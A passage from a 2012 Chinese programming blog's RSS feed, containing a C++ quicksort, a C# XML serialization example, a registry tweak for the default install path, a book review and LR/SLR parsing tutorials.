      <pubDate>Sat, 19 May 2012 09:04:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/19/%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/</guid>
      <description>&lt;pre lang=&#34;c&#34;&gt;
#include &lt;iostream&gt;
using namespace std;

//化分区间,找到最后元素的排序位置。并返回分隔的点（即最后一数据排序的位置）。
//划分的区间是[nBegin, nEnd). pData是保存数据的指针
int Partition(int* pData, int nBeging, int nEnd)
{
                int i = nBeging - 1;    //分隔符号，最后nD保存在这里
                --nEnd;
                int nD = pData[nEnd]; //比较的数据。
                int nTemp; // 交换用的临时数据

                //遍历数据比较，找到nD的位置，这里注意，比较结果是,
                //i的左边是小于等于nD的，i的右边是大于nD的
                for (int j = nBeging; j &lt; nEnd; ++j)
                {
                                if (pData[j] &lt;= nD)        //如果数据比要比较的小，则在该数据的左边，与i+1交换
                                {
                                                ++i;                //小于nD的数据多一个，所以要加1，i的左边数据都比nD小
                                                nTemp = pData[i];    //交换数据
                                                pData[i] = pData[j];
                                                pData[j] = nTemp;
                                }
                }

                //最后不要忘了吧nD和i+1交换，因为这里就是nD的位置咯。
                ++i;
                pData[nEnd] = pData[i];
                pData[i] = nD;

                return i;   //返回nD的位置，就是分割的位置。
}

//排序的递归调用。
int QuickSortRecursion(int* pData, int nBeging, int nEnd)
{
                if (nBeging &gt;= nEnd -1)        //如果区域不存在或只有一个数据则不递归排序
                {
                                return 1;
                }

                //这里因为分割的时候，分割点处的数据就是排序中他的位置。
                //也就是说他的左边的数据都小于等于他，他右边的数据都大于他。
                //所以他不在递归调用的数据中。
                int i = Partition(pData, nBeging, nEnd);        //找到分割点
                QuickSortRecursion(pData, nBeging, i);            //递归左边的排序
                QuickSortRecursion(pData, i + 1, nEnd);            //递归右边的排序
                return 1;
}

//快速排序
int QuickSort(int* pData, int nLen)
{
                //递归调用，快速排序。
                QuickSortRecursion(pData, 0, nLen);
                return 1;
}
int main()
{
                int nData[10] = {5,9,3,2,1,6,20,45,88,75};        //测试数据
                QuickSort(nData, 10);            //调用快速排序
                for (int i = 0; i &lt; 10; ++i)        //输出结果
                {
                                cout&lt;&lt;nData[i]&lt;&lt;&#34; &#34;;
                }
                cout&lt;&lt;endl;

                return 0;
}
&lt;/pre&gt;</description>
    </item>
    <item>
      <title>对象数组的Xml序列化和反序列化</title>
      <link>http://blog.leaver.me/2012/05/18/%E5%AF%B9%E8%B1%A1%E6%95%B0%E7%BB%84%E7%9A%84xml%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link>
      <pubDate>Fri, 18 May 2012 09:38:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/18/%E5%AF%B9%E8%B1%A1%E6%95%B0%E7%BB%84%E7%9A%84xml%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid>
      <description>&lt;p&gt;使用Serialization来进行序列化和反序列化，因此需要引入System.Xml.Serialization；命名空间。&lt;/p&gt;
&lt;p&gt;为什么要做序列化和反序列化？
.Net程序执行时，对象都驻留在内存中；内存中的对象如果需要传递给其他系统使用；或者在关机时需要保存下来以便下次再次启动程序使用就需要序列化和反序列化。&lt;/p&gt;
&lt;p&gt;本文的原始例子在参考文中，但是参考文中没有给出反序列化的例子，且xml文件不清晰。于是修改了代码，同时实现对象数组序列化和反序列化。&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;

namespace UseXmlSerialization
{
    class Program
    {
        static void Main(string[] args)
        {
            //声明一个猫对象
            var cWhite = new Cat { Color = &#34;White&#34;, Speed = 10, Saying = &#34;I am a good WHITE cat&#34; };
            var cBlack = new Cat { Color = &#34;Black&#34;, Speed = 10, Saying = &#34;I am a good BLACK cat&#34; };

            CatCollection cc = new CatCollection { Cats = new Cat[] { cWhite, cBlack } };

            //序列化这个对象
            XmlSerializer serializer = new XmlSerializer(typeof(CatCollection));

            StringWriter sw = new StringWriter();
            serializer.Serialize(sw, cc);  //序列化到StringWriter对象sw里
            string strXml = sw.ToString();
            Console.WriteLine(&#34;对象数组序列化后：&#34;);
            Console.WriteLine(strXml);
            Console.WriteLine(&#34;xml反序列化后：&#34;);
            StringReader sr = new StringReader(strXml);
            CatCollection c2 = serializer.Deserialize(sr) as CatCollection;
            for (int i = 0; i &lt; 2; i++)  //验证xml文件是否已经被反序列化为对象数组
            {
                Console.WriteLine(&#34;I am Cat &#34; + i);
                Console.WriteLine(c2.Cats[i].Color);
                Console.WriteLine(c2.Cats[i].Saying);
                Console.WriteLine();

            }
        }
    }
    //以下为类定义
    [XmlRoot(&#34;Cats&#34;)]
    public class CatCollection
    {
        [XmlElement(&#34;Cat&#34;)]
        public Cat[] Cats { get; set; }
    }

    public class Cat
    {
        //定义Color属性的序列化为cat节点的属性
        [XmlAttribute(&#34;color&#34;)]
        public string Color { get; set; }

        //要求不序列化Speed属性
        [XmlIgnore]
        public int Speed { get; set; }

        //设置Saying属性序列化为Xml子元素
        [XmlElement(&#34;saying&#34;)]
        public string Saying { get; set; }
    }
}
&lt;/pre&gt;
&lt;p&gt;参考：
　　&lt;a href=&#34;http://www.cnblogs.com/yukaizhao/archive/2011/07/22/xml-serialization.html&#34;&gt;http://www.cnblogs.com/yukaizhao/archive/2011/07/22/xml-serialization.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>修改Windows系统软件默认安装路径</title>
      <link>http://blog.leaver.me/2012/05/17/%E4%BF%AE%E6%94%B9windows%E7%B3%BB%E7%BB%9F%E8%BD%AF%E4%BB%B6%E9%BB%98%E8%AE%A4%E5%AE%89%E8%A3%85%E8%B7%AF%E5%BE%84/</link>
      <pubDate>Thu, 17 May 2012 06:02:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/17/%E4%BF%AE%E6%94%B9windows%E7%B3%BB%E7%BB%9F%E8%BD%AF%E4%BB%B6%E9%BB%98%E8%AE%A4%E5%AE%89%E8%A3%85%E8%B7%AF%E5%BE%84/</guid>
      <description>&lt;p&gt;　　作为一个完全不能容忍windows默认程序都往C:\Program Files\目录里安装的人。每次安装软件的时候，都得手动一个个改到D:\Program Files里。安装软件多了。就hold不住了。&lt;/p&gt;
&lt;p&gt;　　其实可以通过注册表使得所有安装程序默认安装到其他盘的。将下列内容保存到一个文本文件里，命名为Mo.reg。然后运行即可。以后安装的程序就会默认安装到D盘的Program Files目录了。你也可以根据需要自行修改&lt;/p&gt;
&lt;p&gt;　　&lt;pre lang=&#34;c&#34;&gt;&lt;/p&gt;
&lt;p&gt;　　Windows Registry Editor Version 5.00&lt;/p&gt;
&lt;p&gt;　　;修改Windows系统软件默认安装路径&lt;/p&gt;
&lt;p&gt;　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]&lt;/p&gt;
&lt;p&gt;　　&amp;ldquo;ProgramFilesDir&amp;rdquo;=&amp;ldquo;D:\Program Files&amp;rdquo;&lt;/p&gt;
&lt;p&gt;　　&lt;/pre&gt;
效果如下图，安装程序已经默认到D盘了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21644_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a83d479db2c8d3fac56dc0dacca9fca7329d7c61.jpg&#34; title=&#34;w&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;update:已知后遗症，我在这样实践了以后，发现vs2010的.net framework 4将会丢失。也就是说就不能新建.net framework 4项目了，具体不明，可能是我当初把VS一部分安装到D盘的缘故，应该可以通过重新安装vs解决，如果你不想折腾。把注册表改回去就可以了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《亲密行为》书评</title>
      <link>http://blog.leaver.me/2012/05/16/%E4%BA%B2%E5%AF%86%E8%A1%8C%E4%B8%BA%E4%B9%A6%E8%AF%84/</link>
      <pubDate>Wed, 16 May 2012 07:12:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/16/%E4%BA%B2%E5%AF%86%E8%A1%8C%E4%B8%BA%E4%B9%A6%E8%AF%84/</guid>
      <description>&lt;p&gt;　　首先说说感受。本书是《裸猿》三部曲之一，因为貌似是属于人类学和社会学的部分，更多的讨论了人类亲密行为的原因，基本上归结在动物性上。认为很多亲密行为其实是婴儿时期对母亲的感受形成的。而作者德斯蒙德的确是一位非常伟大的生物学家和作家。强大的生物学就在轻松的仿似“洽谈”的文字间给予人一种神秘的力量。我们的祖先留给我们的生物本能被他很强大的讨论了。但是。。如果你对人类这生物什么的完全没兴趣。比如像我。那么这本书就不用看了。纯粹是浪费时间。如果你是初为人母或是初为人父，那么前几章都可以看，了解一下婴儿的行为，可以更好的育儿。。观点如有偏颇。请海涵。&lt;/p&gt;
&lt;p&gt;　　然后给出一些摘抄吧，&lt;/p&gt;
&lt;p&gt;　　摇动婴儿以每分钟60-70下的速度可以减少婴儿的啼哭。&lt;/p&gt;
&lt;p&gt;　　教育孩子早期应该亲密，爱护，稍微大一点就可以放开一些。而不是想法。到了孩子大了的时候反而溺爱，即先爱后自由。&lt;/p&gt;
&lt;p&gt;　　用包裹婴儿的方式模拟子宫环境，但几个月后不宜过长。可能会阻碍他的肌肉和体格的发育。&lt;/p&gt;
&lt;p&gt;　　婴儿啼哭不仅仅是饥饿或是不舒服，有时候也是希望母亲到这里来。&lt;/p&gt;
&lt;p&gt;　　人类恋爱行为的几个阶段&lt;/p&gt;
&lt;p&gt;　　1.眼对身 2.眼对眼 3.话对话 4.手对手 5.臂对肩 6.臂对腰 7.嘴对嘴  8.手对头 9.手对身 10嘴对乳房 11手对生殖器 12，生殖器对生殖器&lt;/p&gt;
&lt;p&gt;　　一方面，科学研究沉重打击了我们何谓温馨关爱的亲密行为的观念，所以我们禁不住觉得反感；&lt;/p&gt;
&lt;p&gt;　　另一方面，我们生病时急忙到药房买药，并急忙吞药丸的时候，却尽量不去想那些信赖我们却被我们背叛的实验动物：它们遭受痛苦，但是给我们带来了防病治病的抗生素。
　　&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个简单实例的LR分析过程</title>
      <link>http://blog.leaver.me/2012/05/14/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E5%AE%9E%E4%BE%8B%E7%9A%84lr%E5%88%86%E6%9E%90%E8%BF%87%E7%A8%8B/</link>
      <pubDate>Mon, 14 May 2012 11:38:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/14/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E5%AE%9E%E4%BE%8B%E7%9A%84lr%E5%88%86%E6%9E%90%E8%BF%87%E7%A8%8B/</guid>
      <description>&lt;p&gt;　　经过前面两篇文章。已经讲清楚了LR语法分析中最重要的分析表的构造过程。先补充一个小问题，就是LR(0)项目的分类&lt;/p&gt;
&lt;p&gt;　　根据圆点所在的位置和圆点后是终结符还是非终结符或为空把项目分为以下几种：&lt;/p&gt;
&lt;p&gt;　　移进项目： 形如 A→α .a β ，a是终结符, a ,b∈V* 以下同
　　待约项目：A→α .B β , 其中B是非终结符　
　　归约项目：A→α . 表明产生式已分析完成。　
　　接受项目：形如 S’→S .　　
　　特别的。A→ε的LR(0)项目只有A→ • 是归约项目&lt;/p&gt;
&lt;p&gt;　　因为LR分析表的构造前面两篇文章已经讲的很清楚了，所以这个题目重要是解释一下如何使用分析表来构造，分析表的构造也许你得自己参考前面两篇文章来构造了。题目来自网络。&lt;/p&gt;
&lt;p&gt;　　好，下面看题目，已知文法G[S]：&lt;/p&gt;
&lt;p&gt;　　(1) S → aAcBe
　　(2) A → b　
　　(3) A → Ab　　
　　(4) B → d&lt;/p&gt;
&lt;p&gt;　　写出对输入串 abbcde#的LR分析 过程。&lt;/p&gt;
&lt;p&gt;　　在分析的时候，因为我们的手工分析，所以还需要一个表来记录我们的步骤。否则记不住啊。该表共需7列。行数不定。做到哪是哪。&lt;/p&gt;
&lt;p&gt;　　&lt;pre lang=&#34;php&#34;&gt; 步骤   符号栈   输入符号栈     动作   状态栈    ACTION    GOTO &lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;　　其中，步骤就是从1向下递增。符号栈用来保存运算中的结果，初始为#，输入符号栈保存输入串，初始值为给定的。动作里面就是用来注释是进行移进，还是规约。状态栈就是保持LR分析表的那个状态了。Action 和Goto同理&lt;/p&gt;
&lt;p&gt;　　通过前两篇文章的步骤，此题可以构造出如下的一张LR分析表&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21467_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b2465bb8d435fab286faf6634217380656ce008.jpg&#34; title=&#34;lr分析表&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　分析表中有Si和rj大家都知道的。s是shift的缩写，也就是移进，r是reduce的缩写，也就是规约。规约是推导的逆操作，大家都懂。&lt;/p&gt;
&lt;p&gt;　　先来看看在进行分析的时候s和j操作的规则&lt;/p&gt;
&lt;p&gt;　　Si:移进，把i移入到状态栈，把a移入到文法符号栈。其中i，j表示状态号。&lt;/p&gt;
&lt;p&gt;　　ri:归约，用第i个产生式归约，同时状态栈与符号栈退出相应个符号，并把GOTO表相应状态和第i个产生式的左部非终结符入栈。&lt;/p&gt;
&lt;p&gt;　　文法中有A→β的产生式，若β的长度为r(即|β|=r)，则从状态栈和文法符号栈中自栈顶向下去掉r个符号，即栈指针P减去r。并把A移入文法符号栈内，Sj=GOTO[Si，A]移进状态栈，其中Si为修改指针后的栈顶状态。&lt;/p&gt;
&lt;p&gt;　　当归约到文法符号栈中只剩文法的开始符号S时，并且输入符号串已结束即当前输入符是&amp;rsquo;#&amp;rsquo;，则为分析成功。&lt;/p&gt;
&lt;p&gt;　　然后使用我们将要使用的辅助表来分析吧，为了简单。我还是直接给出答案。然后分析一下典型的情况。&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21466_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d6565babf03f2f230fb9d8933518bc1cb55bf7cc.jpg&#34; title=&#34;分析结果&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　第一步，符号栈中是#，输入符号串就是给定的要分析的串，状态栈因为从0开始，所以状态栈直接填0，大家都知道，LR分析是从左到右扫描的。所以心里想着一根指针p，p首先指向输入串的a，然后我们查分析表的（0，a）,0就是状态0，a就是指针的当前字符。分析表中的（0，a）是s2，填入第一步的action，并且动作列填入移进，根据规则，将2入状态栈，a入符号栈，&lt;/p&gt;
&lt;p&gt;　　进入第二步，指针p肯定要前进一步了，所以输入符号串就进入b了。此步同上一步，不多解释。&lt;/p&gt;
&lt;p&gt;　　关键是进入第三步后，此时，符号栈中为#ab，输入符号串是bcde#，状态栈是024，此时去查表，差的是（4，b），4是状态栈顶，b是p指针的当前位置。发现是r2，根据规则，用第二条产生式(2) A → b来规约。把动作栏先填了，同时状态栈与符号栈退出相应个符号，也即是说，把状态栏的栈顶4，退出来，同时符号栈的b也退出，心里想着，不填表，并把GOTO表相应状态和第i个产生式的左部非终结符入栈。Goto表需要查的是(2,A)=3,2是r2的2，A是第二个产生式的左部嘛。所以，就把3入状态栈，A入符号栈。&lt;/p&gt;
&lt;p&gt;　　后面的都是一样的。不解释了。要想学懂编译原理。多动手是必需的。你也手工试试吧。&lt;/p&gt;
&lt;p&gt;参考：
　　 &lt;a href=&#34;http://leaver.me/archives/574.html&#34;&gt;http://leaver.me/archives/574.html&lt;/a&gt;
　　 &lt;a href=&#34;http://leaver.me/archives/548.html&#34;&gt;http://leaver.me/archives/548.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>LR(0)和SLR分析表的构造</title>
      <link>http://blog.leaver.me/2012/05/13/lr0%E5%92%8Cslr%E5%88%86%E6%9E%90%E8%A1%A8%E7%9A%84%E6%9E%84%E9%80%A0/</link>
      <pubDate>Sun, 13 May 2012 10:45:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/13/lr0%E5%92%8Cslr%E5%88%86%E6%9E%90%E8%A1%A8%E7%9A%84%E6%9E%84%E9%80%A0/</guid>
      <description>&lt;p&gt;　　&lt;a href=&#34;http://leaver.me/archives/548.html&#34;&gt;上篇文章中&lt;/a&gt;，我已经说到了，LR(0)分析表是LR(0)分析器的重要组成部分，它是总控程序分析动作的依据，他是由LR(0)项目集规范族来进行构造的。他的结构主要有两个部分ACTION 和GOTO&lt;/p&gt;
&lt;p&gt;　　先看看指导原则，可以直接跳过，看例题的时候可以返回来对照参考。&lt;/p&gt;
&lt;p&gt;　　假设已构造出LR(0)项目集规范族为：C={I0,I1, … , In}，其中Ik为项目集的名字，k为状态名，令包含S′→·S项目的集合Ik的下标k为分析器的初始状态。那么分析表的ACTION表和GOTO表构造步骤为：&lt;/p&gt;
&lt;p&gt;　　① 若项目A→α·aβ属于Ik且转换函数GO(Ik,a)= Ij，当a为终结符时则置ACTION[k,a]为Sj。　
　　② 若项目A→α· 属于Ik，则对任何终结符a 和&amp;rsquo;#&amp;lsquo;号置ACTION[k,a]和ACTION[k,#]为&amp;quot;rj&amp;quot;，j为在文法G′中某产生式A→α的序号。
　　③ 若GO(Ik,A)＝Ij，则置GOTO[k,A]为&amp;quot;j&amp;quot;，其中A为非终结符。　
　　④ 若项目S′→S·属于Ik，则置ACTION[k,#]为&amp;quot;acc&amp;quot;，表示接受。
　　⑤ 凡不能用上述方法填入的分析表的元素，均应填上&amp;quot;报错标志&amp;quot;。为了表的清晰我们仅用空白表示错误标志。&lt;/p&gt;
&lt;p&gt;　　上篇文章的例题是这样的：LR（0）项目集规范簇也已经算出来了，共有6个I，从I0-I5，最终构造的LR(0)的分析表共7行，包括标题行，也就是ACTION和GOTO，然后是状态行，状态行和ACTION的交处分割成三列，分别是终结符号，和#终结符。也就是分割多少列取决于终结符的数目，GOTO列是非终结符，分割多少列也取决于非终结符的数目。，然后就是具体的6个状态了，画出表的结构后，如下，先不用管表的内容怎么写。&lt;/p&gt;
&lt;p&gt;　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21422_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0f0ac59f4cab73039ae7f5aecb327def5665da13.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　然后对照构造原则来填写表，这时你会发现要一个个从那么多的GO函数和I项目组中找对应的式子实在太难了，看不清楚，这时候，我们用GO函数把LR(0)项目集规范族连成一个识别该文法所产生的活前缀的DFA，有点像流程图了，首先把各个I项目画出来，然后需要把他们的关系表示出来，关系由GO函数确定，比如I5=GO(I2, S)，则在I2和I5之间画一个箭头，由I2指向I5，线上写上S，由括号里的第二个值确定，此题构造的DFA如下图，很简单吧。&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21397_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;识别活前缀的DFA&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;span style=&#34;font-family: Verdana, Arial, Helvetica, sans-serif;&#34;&gt;&lt;span style=&#34;font-size: 12px; line-height: normal;&#34;&gt;然后我们正式开始吧。第一条指导规则说到， 若项目A→α·aβ属于Ik且转换函数GO(Ik,a)= Ij，当a为终结符时则置ACTION[k,a]为Sj，我们先考察对于I0，发现S-&amp;gt;·aS属于I0，且GO(I0,a)=I1,所有我们ACTION[0,a]置为S1.同理S-&amp;gt;·bS属于I0，GO(I0,b)=I2，所以ACTION[0,b]置为S2。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;　　再来看第二条规则，若项目A→α· 属于Ik，则对任何终结符a 和&amp;rsquo;#&amp;lsquo;号置ACTION[k,a]和ACTION[k,#]为&amp;quot;rj&amp;quot;，j为在文法G′中某产生式A→α的序号，也就是说这里的j可不是I项目的标号，而是增广文法&lt;/p&gt;
&lt;p&gt;　　(0)S’→S　
　　(1)S→aS　
　　(2)S→bS
　　(3)S→a&lt;/p&gt;
&lt;p&gt;　　的标号，从0-3啦。我们考察I1，发现S→·aS属于I1，且GO(I1,a)=I1，所以应该置1和a的交的格子为S1，但是此时运用第二条规则会发现S-&amp;gt;a·也属于I1，则又应该置ACTION[1,a]为=r3，ACTION[1,#]为r3，这样就发生了冲突。这是因为大多数文法不能满足LR(0)文法的条件，对于此冲突，我们不能确定看到S-&amp;gt;a的时候是规约还是移进，有些文法是可以直接构造的，为此，此处不能够早LR(0)分析表了，我们构造经过改进后得到了一种新的SLR(1)文法，并没有什么太大差别，主要就是解决冲突。&lt;/p&gt;
&lt;p&gt;　　解决冲突的指导原则如下：&lt;/p&gt;
&lt;p&gt;　* 假设一个LR（0）项目集规范族中有如下项目集合：&lt;/p&gt;
&lt;p&gt;　　{X → α.bβ，A → γ.，B → δ.}&lt;/p&gt;
&lt;p&gt;　　即存在移进-归约冲突和归约-归约冲突&lt;/p&gt;
&lt;p&gt;　　* 如果FOLLOW（A）∩ FOLLOW（B）∩ {b} =ф，则可以如下来解决冲突（假设当前符号是 a ）：　
　　1、若 a = b，则移进
　　2、若 a∈ FOLLOW（A），则用产生式 A → γ归约　
　　3、若 a∈ FOLLOW（B），则用产生式 B → δ归约　
　　4、否则，报错&lt;/p&gt;
&lt;p&gt;　　此处的冲突发生时，当前符号是a，并且此时项目集中无B推导式，且指导规则中的b在此处其实是S-&amp;gt;.aS中的a，所以计算Follow(S)∩ {a} ，发现为空，所以可以解决冲突，因为此时，当前符号是a，此处规则中的b也是a，所以，移进，也就是置ACTION[1,a]为=S1，运用分析表的ACTION表和GOTO表构造步骤的第一步，而不是置为r3，所以冲突解决。&lt;/p&gt;
&lt;p&gt;　　然后再看构造步骤中的第三步，若GO(Ik,A)＝Ij，则置GOTO[k,A]为&amp;quot;j&amp;quot;，其中A为非终结符。此题中，只有S为非终结符，看DFA中的I0，发现GO(I0,S)＝I3，所以置GOTO[0,S]为3，ok&lt;/p&gt;
&lt;p&gt;　　第四个步骤，若项目S′→S·属于Ik，则置ACTION[k,#]为&amp;quot;acc&amp;quot;，很简单，DFA中，I3符合，所以置ACTION[3,#]为&amp;quot;acc&amp;quot;。到此解释完了&lt;/p&gt;
&lt;p&gt;　　反复运用，直到填完表。&lt;/p&gt;
&lt;p&gt;　　完成后的表如图一所示。太复杂了。脑子烧糊了都，下篇有机会的话介绍如何使用来进行分析。其实剩下的部分不怎么难了。应该可以看得懂了&lt;/p&gt;
&lt;p&gt;　　参考：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&#34;&gt;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://jpkc.hdu.edu.cn/computer/byyl/online/4-3.htm&#34;&gt;http://jpkc.hdu.edu.cn/computer/byyl/online/4-3.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>LR(0)项目集规范族的构造</title>
      <link>http://blog.leaver.me/2012/05/12/lr0%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E6%97%8F%E7%9A%84%E6%9E%84%E9%80%A0/</link>
      <pubDate>Sat, 12 May 2012 10:38:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/12/lr0%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E6%97%8F%E7%9A%84%E6%9E%84%E9%80%A0/</guid>
      <description>&lt;p&gt;　　此文略长。我也没想到这写起来这么多，但对构造过程绝对清楚，一步步慢慢看吧。&lt;/p&gt;
&lt;p&gt;　　LR的第一个L和LL的第一个L含义相同，即从左到右扫描句子 ，第二个R表示Right most最右推导。&lt;/p&gt;
&lt;p&gt;　　在通常的描述中，后面还有一个括号里面的数字如，LR(0)、LR(1)这样，括号里面的数字表示用于决策所需的后续token分词数。&lt;/p&gt;
&lt;p&gt;　　首先看一下LR分析器的模型图&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21392_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;LR模型&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　可惜看出，LR分析器最关键的部分就是 LR分析表了，而LR分析表的构建是由已构造出的LR(0)项目集规范族来进行构造的。LR分析法貌似是不要求掌握的，而且这部分比我想象的还要复杂，今天看了好多。才勉强搞清楚这个项目集规范族的构造，但是用来锻炼思维确实不错啊。&lt;/p&gt;
&lt;p&gt;　　项目集，那么字面上看就是项目的集合了，项目是什么呢。这个也确实不好说，书上是说在文法G中每个产生式的右部适当位置添加一个圆点构成LR(0)项目，举个例子吧。&lt;/p&gt;
&lt;p&gt;　　比如对于&lt;/p&gt;
&lt;p&gt;　　A-&amp;gt;xyz&lt;/p&gt;
&lt;p&gt;　　这条产生式可以构造的LR(0)项目就有4个&lt;/p&gt;
&lt;p&gt;　　A-&amp;gt;.xyz    A-&amp;gt;x.yz    A-&amp;gt;xy.z     A-&amp;gt;xyz.&lt;/p&gt;
&lt;p&gt;　　这样很清楚了吧，就是用.分割。这个分割产生的四个项目在进行真正的语法分析的时候对应不同的操作，比如规约还是移位。这里不讨论。重点是项目集规范族的构造，&lt;/p&gt;
&lt;p&gt;　　在知道了LR(0)项目后，可以来看看项目集规范族的定义，&lt;/p&gt;
&lt;p&gt;　　对于构成识别一个文法活前缀的DFA项目集(状态)的全体我们称之为这个文法的LR(0)项目集规范族。至于什么是活前缀呢，定义如下&lt;/p&gt;
&lt;p&gt;　　对于任一文法G[S]，若S’经过任意次推导得到αAω，继续经过一次推导得到![]}/images/6b23dd171a1f672514a2dbb29175df032a1f63d4.gif)αβω，若γ&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;是αβ的前缀，则称γ是G的一个活前缀。&lt;/p&gt;
&lt;p&gt;　　现在知道了LR(0)项目，了解了活前缀，和项目集规范族的定义，还须引入LR(0)项目集的闭包函数CLOSURE和状态转换函数GO两个概念，先给出数学上的定义，如果你觉得麻烦可以跳过，后面会给出一道例题。&lt;/p&gt;
&lt;p&gt;　　① 闭包函数CLOSURE(I)的定义如下：&lt;/p&gt;
&lt;p&gt;　　a）I的项目均在CLOSURE(I)中。&lt;/p&gt;
&lt;p&gt;　　b）若A→α·Bβ属于CLOSURE(I)，则每一形如B→·γ的项目也属于CLOSURE(I)。&lt;/p&gt;
&lt;p&gt;　　c）重复b)直到不出现新的项目为止。即CLOSURE(I)不再扩大。&lt;/p&gt;
&lt;p&gt;　　② 转换函数GO(I，X)的定义：&lt;/p&gt;
&lt;p&gt;　　GO(I，X)＝CLOSURE(J)&lt;/p&gt;
&lt;p&gt;　　其中：I为包含某一项目的状态，就是前面我们说的那四个了。，X为一文法符号，X∈(VN∪VT)，J＝{任何形如A→αX·β的项目| A→α·Xβ属于I}。&lt;/p&gt;
&lt;p&gt;　　这样就可以使用闭包函数和转换函数构造文法G′的LR(0)项目集规范族，其步骤如下：&lt;/p&gt;
&lt;p&gt;　　  a）置项目S′→·S为初态集的核，然后对核求闭包，CLOSURE({S′→·S}）得到初态的项目集。
　　  b）对初态集或其它所构造的项目集应用转换函数GO(I，X)=CLOSURE(J)，求出新状态J的项目集。
　　  c）重复b）直到不出现新的项目为止。&lt;/p&gt;
&lt;p&gt;　　开始拿个例题来说明，定义没例题看起来看难了。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;&lt;em&gt;例题：对于下列文法，S→aS|bS|a，构造该文法的LR(0)项目集规范族&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　思路就是利用闭包函数CLOSURE和转换函数GO来构造。通过计算函数CLOSURE和GO得到文法的LR(0)项目集规范族，而GO函数则把LR(0)项目集规范族连成一个识别该文法所产生的活前缀的DFA。DFA大家都知道，有穷自动机。&lt;/p&gt;
&lt;p&gt;　　(1)将文法G(S)拓广为G(S’)也就是该文法的增广文法，目的是使语法分析器知道何时应该停止并接受该串，也就是说当使用S&amp;rsquo;-&amp;gt;S进行规约的时候，就结束。&lt;/p&gt;
&lt;p&gt;　　(0)S’→S
　　(1)S→aS　　
　　(2)S→bS　　
　　(3)S→a&lt;/p&gt;
&lt;p&gt;　　构造该文法的LR(0)项目集规范族，I就是产生式，至于I0 I1就是往下递增就可以了。没什么特别的意思。：&lt;/p&gt;
&lt;p&gt;　　I0=CLOSURE({S&amp;rsquo; →•S})={S’ →•S, S→•aS, S→•bS, S→•a}&lt;/p&gt;
&lt;p&gt;　　//第一条是固定的，都是求S&amp;rsquo; →•S的闭包。而因为右侧的S又可以推导出后面三个，所以后面三个式子是属于该闭包的。在闭包的规则中可以看出，若A→α·Bβ属于CLOSURE(I)，此时S&amp;rsquo; →•S属于闭包，S相当于规则中的B,则每一形如B→·γ的项目也属于CLOSURE(I),此处相当于S-&amp;gt;后面的三个推导式。加上.就可以了&lt;/p&gt;
&lt;p&gt;　　I1=GO( I0 , a)=CLOSURE({S→a•S , S→a•})={S→a•S , S→a• , S→•aS, S→•bS, S→•a }&lt;/p&gt;
